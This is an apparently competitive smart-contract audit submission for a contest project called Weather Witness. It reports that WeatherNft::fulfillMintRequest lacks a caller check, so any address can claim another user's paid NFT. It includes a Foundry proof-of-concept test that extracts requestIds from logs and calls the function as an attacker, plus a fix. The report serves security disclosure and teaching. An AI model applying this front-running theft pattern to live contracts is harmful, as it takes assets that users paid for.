Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Unchecked call of `WeatherNft::fulfillMintRequest` can lead to an unathorized call of a random user, leading to a potential steal of the NFT

Unchecked call of WeatherNft::fulfillMintRequest can lead to an unathorized call of a random user, leading to a potential steal of the NFT

Description

Under intended behavior, only the original requester who called requestMintWeatherNFT should be able to invoke fulfillMintRequest once the Chainlink oracle response arrives, minting the NFT to the coresponding address. However, because fulfillMintRequest lacks any msg.sender check, anyone may call it and receive the NFT.

>@function fulfillMintRequest(bytes32 requestId) external{
...
>@ // mints NFT to msg.sender without any check
_mint(msg.sender, tokenId);
}

Risk

Likelihood – High

  • Observers(users or bots) can watch the on‑chain WeatherNFTMintRequestSent logs to extract requestId

  • No additional permissions or complex interactions are needed; any address may call the function immediately.

Impact – High

  • Attackers can steal newly minted NFTs, diverting them (and any embedded value) to their own addresses.

  • Legitimate users may be denied service by front‑runners consuming the only valid mint operation for that

Proof of Concept

The following PoC proves that anyone can call the WeatherNft::fulfillMintRequest. Add it to the testing suite:

function test_anyone_can_call_fulfillMintRequest() public {
string memory pincode = "560001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 1 days;
uint256 initLinkDeposit = 5e18;
// Make a real request from the `user`
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{
value: weatherNft.s_currentMintPrice()
}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 realReqId;
for (uint256 i = 0; i < logs.length; i++) {
if (
logs[i].topics[0] ==
keccak256(
"WeatherNFTMintRequestSent(address,string,string,bytes32)"
)
) {
(, , , realReqId) = abi.decode(
logs[i].data,
(address, string, string, bytes32)
);
break;
}
}
assert(realReqId != bytes32(0));
// Fulfill via Chainlink router
vm.prank(functionsRouter);
bytes memory fakeResponse = abi.encode(WeatherNftStore.Weather.SNOW);
weatherNft.handleOracleFulfillment(realReqId, fakeResponse, "");
// Try calling fulfillMintRequest from a random attacker
address attacker = makeAddr("attacker");
vm.prank(attacker);
weatherNft.fulfillMintRequest(realReqId);
}

Recommended Mitigation

Add the onlyOwner modifier to ensure that only the owner of the NFT can call the WeatherNft::fulfillMintRequest function.

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
...
+ // Only the original requester may complete their mint
+ require(
+ msg.sender == s_funcReqIdToUserMintReq[requestId].user,
+ WeatherNft__Unauthorized()
+ );
_mint(msg.sender, tokenId);
}
Updates

Appeal created

bube Lead Judge 23 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.